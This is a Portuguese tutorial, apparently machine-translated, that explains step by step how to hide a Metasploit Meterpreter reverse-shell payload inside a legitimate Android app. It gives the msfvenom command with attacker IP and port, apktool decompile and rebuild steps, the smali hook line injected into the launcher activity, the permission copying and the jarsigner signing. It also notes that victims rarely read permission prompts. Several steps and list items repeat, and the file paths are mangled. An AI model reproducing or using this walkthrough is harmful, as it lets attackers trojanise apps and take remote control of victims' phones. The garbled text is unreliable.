Você pode hackear o que é simples, tudo que você precisa é de um Kali usando o medidor
Aqui estão os passos básicos
1.Generate a carga útil
Meterpreter 2.Decompile a carga útil eo apk original
3.Copie os arquivos de carga útil para o apk original
4.Injetar o gancho para a atividade apropriada do apk original
5.Injetar as permissões no arquivo AndroidManifest.xml
6 .compile o apk original
7.Sign the apk usando Jarsigner
Meterpreter 2.Decompile a carga útil eo apk original
3.Copie os arquivos de carga útil para o apk original
4.Injetar o gancho para a atividade apropriada do apk original
5.Injetar as permissões no arquivo AndroidManifest.xml
6 .compile o apk original
7.Sign the apk usando Jarsigner
GERAR o PAYLOAD:
Primeiro de tudo, temos que fazer a carga útil do Meterpreter. Nós vamos usar o MSFVenom para isso. O comando é-
msfvenom -p android / meterpreter / Payload_Type LHOST = IP_Address LPORT = Entrada_Porta -o meterpreter.apk
Substitua Payload_Type por qualquer uma das seguintes cargas úteis disponíveis. A função de todas essas cargas é a mesma, basicamente todas são cargas úteis do Meterpreter, a diferença é apenas no método que elas usam para se conectar ao seu sistema Kali. Os Payload_Types disponíveis são -
1.reversetcp
2.reverse_http
3.reverse_https
2.reverse_http
3.reverse_https
Você pode usar qualquer um que você gosta, eu vou usar reverse_https como um exemplo.
Substitua IP_Address pelo endereço IP ao qual a carga será conectada, ou seja, o endereço IP do sistema do invasor. Se você for executar esse ataque em uma rede local (por exemplo, se a vítima e o invasor estiverem conectados ao mesmo hotspot Wi-Fi), o IP local será suficiente. Para saber qual é o seu IP local, execute o comando -
ifconfig
Se você for executar esse ataque pela Internet, precisará usar seu endereço IP público e configurar seu roteador adequadamente (configurar o encaminhamento de porta) para que seu sistema seja acessível pela Internet. Para conhecer o seu IP público, basta google "My IP" e o Google irá ajudá-lo.
Substitua Incoming_Port pelo número da porta. que você deseja que seja usado pela carga para se conectar ao seu sistema. Esta pode ser qualquer porta válida, exceto as reservadas, como a porta 80 (HTTP). Eu vou usar o 4895 como um exemplo.
Portanto, execute o comando usando a substituição das palavras-chave por valores apropriados e o MSFVenom gerará uma carga útil "meterpreter.apk" no diretório raiz. Note que nós especificamos o nome do arquivo de saída usando o argumento "-o meterpreter.apk" no comando, então se você quiser, você pode nomear qualquer outra coisa também.
Etapa 2 DECOMPIRE os APKs:
Agora temos que descompilar os APKs, para isso vamos usar o APKTool. Ele descompila o código para um formato razoavelmente legível e o salva em arquivos .smali e também extrai com êxito os arquivos .xml. Supondo que você já tenha instalado o apktool mais recente e também tenha o arquivo apk original no diretório raiz, execute os seguintes comandos -
apktool d -f -o payload /root/meterpreter.apk
apktool d -f -o original / root / Original_APK_Name
Ele irá descompilar a carga para "/ root / payload" e o apk original para o diretório "/ root / original".
Etapa 3 Copie os arquivos PAYLOAD:
Agora temos que copiar os arquivos de carga para a pasta do aplicativo original. Basta ir para "/ root / payload / smali / com / metasploit / stage" e copiar todos os arquivos .smali cujo nome de arquivo contenha a palavra 'payload'. Agora cole-os em "/ root / original / smali / com / metasploit / stage". Note que esta pasta não existe, então você tem que criá-lo.
Passo 4 INJECT O GANCHO NO CÓDIGO .SMALI ORIGINAL:
Na etapa anterior, copiámos os códigos de carga dentro do apk original para que, quando o apk original for recompilado, ele contenha a carga útil. Mas isso não significa necessariamente que a carga será executada. Para garantir que a carga seja executada, temos que injetar um gancho no código .smali do apk original. Se você está se perguntando sobre o que é esse hook thingy que eu estou falando, bem, essencialmente, é um código que intercepta alguma chamada de função específica e reage a ela. Nesse caso, vamos colocar o gancho para que, quando o aplicativo for lançado, ele também lance a carga útil com ele.
Para isso, em primeiro lugar temos que descobrir qual atividade colocá-lo simplesmente, as atividades são seções de código, é semelhante a quadros na programação do Windows é executado quando o aplicativo é iniciado. Podemos obter essa informação do arquivo AndroidManifest.xml.
Então abra o arquivo AndroidManifest.xml localizado dentro da pasta "/ root / original" usando qualquer editor de texto. Se você conhece HTML, esse arquivo parecerá familiar para você. Ambos são essencialmente Markup Languages, e ambos usam a estrutura familiar de tags e atributos, por exemplo, <tag attribute = "value"> Content </ tag>. De qualquer forma, procure por uma tag <activity> que contenha ambas as linhas -
_ <action android: name = "android.intent.action.MAIN" />
<categoria android: nome = "android.intent.category.LAUNCHER" /> _
<categoria android: nome = "android.intent.category.LAUNCHER" /> _
Em uma nota lateral, você pode usar CTRL + F para pesquisar dentro do documento em qualquer editor de texto da GUI. Quando você localizar essa atividade, anote o valor do atributo "android: name". No meu caso, como você pode ver na imagem abaixo, é "com.piriform.ccleaner.ui.activity.MainActivity".
Essas duas linhas que procuramos significam que esta é a atividade que vai começar quando lançarmos o aplicativo a partir do ícone do lançador, e também essa é uma atividade PRINCIPAL semelhante à função 'principal' na programação tradicional.
Agora que temos o nome da atividade na qual queremos injetar o gancho, vamos ao que interessa! Primeiro de tudo, abra o código .smali dessa atividade usando o gedit. Basta abrir um terminal e digitar
gedit / root / original / smali / Activity_Path
Substitua Activity_Path pelo "android: name" da atividade, mas, em vez dos pontos, digite slash. Na verdade, os pequenos códigos são armazenados em pastas nomeadas no formato em que o "android: name" está, para que possamos facilmente obter a localização do código .smali da maneira que fizemos. Confira a imagem abaixo e você terá uma ideia do que estou tentando dizer.
Agora procure a seguinte linha no código smali usando CTRL + F -
; -> onCreate (Landroid / os / Bundle;) V
Ao localizá-lo, cole o código a seguir na linha ao lado dele -
invoke-static {p0}, Lcom / metasploit / estágio / Payload; -> start (Landroid / content / Contexto;) V
O que estamos fazendo aqui é inserir um código que inicie a carga ao lado do código existente, que é executado quando a atividade é iniciada. Agora, salve o arquivo smali editado.
Passo 5 INJECT AS PERMISSÕES NECESSÁRIAS:
Recursos adicionais de segurança mais refinados são fornecidos por meio de um mecanismo de "permissão" que impõe restrições nas operações específicas que um processo específico pode executar.
Se não mencionarmos todas as permissões adicionais que nossa carga útil precisará, ela não poderá funcionar corretamente. Ao instalar um aplicativo, essas permissões são mostradas para o usuário. Mas a maioria dos usuários não se importa em ler todos esses textos chatos, então não precisamos nos preocupar muito com isso.
Essas permissões também são listadas no arquivo AndroidManifest encontrado anteriormente. Então, vamos abrir o AndroidManifest.xml do aplicativo original e da carga das respectivas pastas. As permissões são mencionadas dentro da tag <uses-permission> como um atributo 'android: name'. Copie as linhas de permissão adicionais do AndroidManifest do Payload para o do aplicativo original. Mas tenha cuidado para que não haja duplicidade.
Aqui está o AndroidManifest do meu aplicativo original antes de editar -
Depois de adicionar os adicionais do AndroidManifest do Payload, meu /root/original/AndroidManifest.xml se parece com isso -
Passo 6 RECOMPLE O ORIGINAL APK:
Agora todas as partes duras estão prontas! Nós apenas temos que recompilar o aplicativo backdoored em um apk instalável. Execute o seguinte comando -
apktool b / root / original
Agora você terá o apk compilado dentro do diretório "/ root / original / dist". Mas ainda não terminamos.
Passo 7 ASSINE o APK:
Este também é um passo muito importante, pois na maioria dos casos, um apk não assinado não pode ser instalado. De desenvolvedores do Android -
O Android exige que todos os aplicativos sejam assinados digitalmente com um certificado antes de poderem ser instalados. O Android usa esse certificado para identificar o autor de um aplicativo e o certificado não precisa ser assinado por uma autoridade de certificação. Os aplicativos para Android geralmente usam certificados autoassinados. O desenvolvedor do aplicativo mantém a chave privada do certificado.
Neste caso, vamos assinar o apk usando a chave de depuração padrão do Android. Basta executar o seguinte comando -
jarsigner -verbose -keystore ~ / .android / debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA apk_path androiddebugkey
Certifique-se de substituir o apk_path no comando acima com o caminho para o arquivo apk backdoored.